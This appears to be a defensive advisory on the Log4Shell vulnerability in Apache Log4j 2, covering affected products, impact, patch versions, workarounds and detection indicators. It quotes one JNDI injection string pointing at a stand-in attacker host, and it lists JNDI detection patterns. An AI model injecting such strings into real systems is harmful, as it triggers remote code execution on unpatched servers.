Full Report
Our team is currently investigating CVE-2021-44228, a critical vulnerability that’s affecting a Java logging package.
Analysis Summary
# Vulnerability: Log4Shell Critical Remote Code Execution (RCE)
## CVE Details
* **CVE ID:** CVE-2021-44228 (Primary), CVE-2021-45105 (DoS), CVE-2021-44832 (JDBC RCE)
* **CVSS Score:** 10.0 (Critical)
* **CWE:** CWE-502 (Deserialization of Untrusted Data) / CWE-917 (Expression Language Injection)
## Affected Systems
* **Products:** Apache Log4j 2 logging library and any software/hardware incorporating it. Examples include:
* Infrastructure: Apache, UniFi Controller, ActiveMQ.
* Consumer/Cloud: Apple iCloud, Steam, Minecraft.
* MSP Tools: ConnectWise Manage, Auvik, N-able (potentially impacted).
* **Versions:** 2.0-beta9 up to 2.17.0.
* **Configurations:** Systems where Log4j is used to log user-supplied input (e.g., HTTP headers, chat messages, usernames).
## Vulnerability Description
CVE-2021-44228 is a critical Remote Code Execution (RCE) flaw in Apache Log4j 2. The vulnerability stems from how the library handles log messages containing a specific syntax (JNDI lookups). When a malicious string such as `${jndi:ldap://attacker.com/a}` is logged, the library reaches out to the external server via the Java Naming and Directory Interface (JNDI). If the server returns a malicious Java class, the library executes it locally, granting the attacker full control over the system.
## Exploitation
* **Status:** Exploited in the wild; PoC available and widely utilized.
* **Complexity:** Low
* **Attack Vector:** Network (Unauthenticated)
## Impact
* **Confidentiality:** Total (Attacker can access all data on the system).
* **Integrity:** Total (Attacker can modify or delete data and system files).
* **Availability:** Total (Attacker can shut down services or deploy ransomware).
## Remediation
### Patches
* **Log4j 2.17.1:** The recommended version to address the primary RCE, the subsequent Denial of Service (DoS) flaw, and the JDBC Appender RCE.
* **UniFi Controller:** Version 6.5.54 or higher.
* **Vendor-Specific:** Users must apply patches provided by their respective software vendors (e.g., VMware, Cisco, etc.) as the library is often embedded.
### Workarounds
* **Log4j 2.10 or greater:** Set the system property `log4j2.formatMsgNoLookups` or the environment variable `LOG4J_FORMAT_MSG_NO_LOOKUPS` to `true`.
* **Earlier versions:** Remove the `JndiLookup` class from the classpath.
* **Environment:** Ensure the Java Runtime Environment (JRE) is updated to a version that utilizes `com.sun.jndi.ldap.object.trustURLCodebase=false` by default.
## Detection
* **Indicators of Compromise:** Look for `${jndi:ldap://`, `${jndi:dns://`, or `${jndi:rmi://` strings in web server access logs or application logs.
* **Detection Methods:**
* Use the Huntress Log4Shell Vulnerability Tester to identify if applications are susceptible to JNDI injection.
* Scan filesystems for the presence of `log4j-core-*.jar` files.
## References
* [Apache Log4j Security Advisory - hxxps://logging.apache[.]org/log4j/2.x/security.html]
* [Huntress Blog: Critical RCE Vulnerability log4j - hxxps://www.huntress[.]com/blog/critical-rce-vulnerability-log4j-cve-2021-44228]
* [Log4j 2.17.1 Release Notes - hxxps://logging.apache[.]org/log4j/2.x/release-notes.html#a2.17.1]